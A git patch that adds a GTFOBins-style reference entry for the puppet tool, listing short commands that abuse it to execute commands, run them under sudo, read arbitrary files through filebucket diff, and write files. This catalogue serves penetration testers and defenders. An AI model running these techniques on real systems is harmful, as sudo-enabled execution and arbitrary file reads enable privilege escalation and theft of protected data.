From 144e51b16551207b429ed17e20b5087d56d24e57 Mon Sep 17 00:00:00 2001 From: Roman Mueller Date: Sat, 2 Jun 2018 14:29:54 +0200 Subject: [PATCH] Add puppet --- _gtfobins/puppet.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 _gtfobins/puppet.md diff --git a/_gtfobins/puppet.md b/_gtfobins/puppet.md new file mode 100644 index 0000000..f1f9d75 --- /dev/null +++ b/_gtfobins/puppet.md @@ -0,0 +1,19 @@ +--- +functions: + execute-non-interactive: + - code: | + export CMD="/usr/bin/id" + puppet apply -e "exec { '${CMD}': }" + sudo-enabled: + - code: | + export CMD="/usr/bin/id" + sudo puppet apply -e "exec { '${CMD}': }" + file-read: + - code: | + export LFILE=file_to_read + puppet filebucket -l diff /dev/null ${LFILE} + file-write: + - code: | + export LFILE="/tmp/file_to_write" + puppet apply -e "file { '${LFILE}': content => 'data' }" +---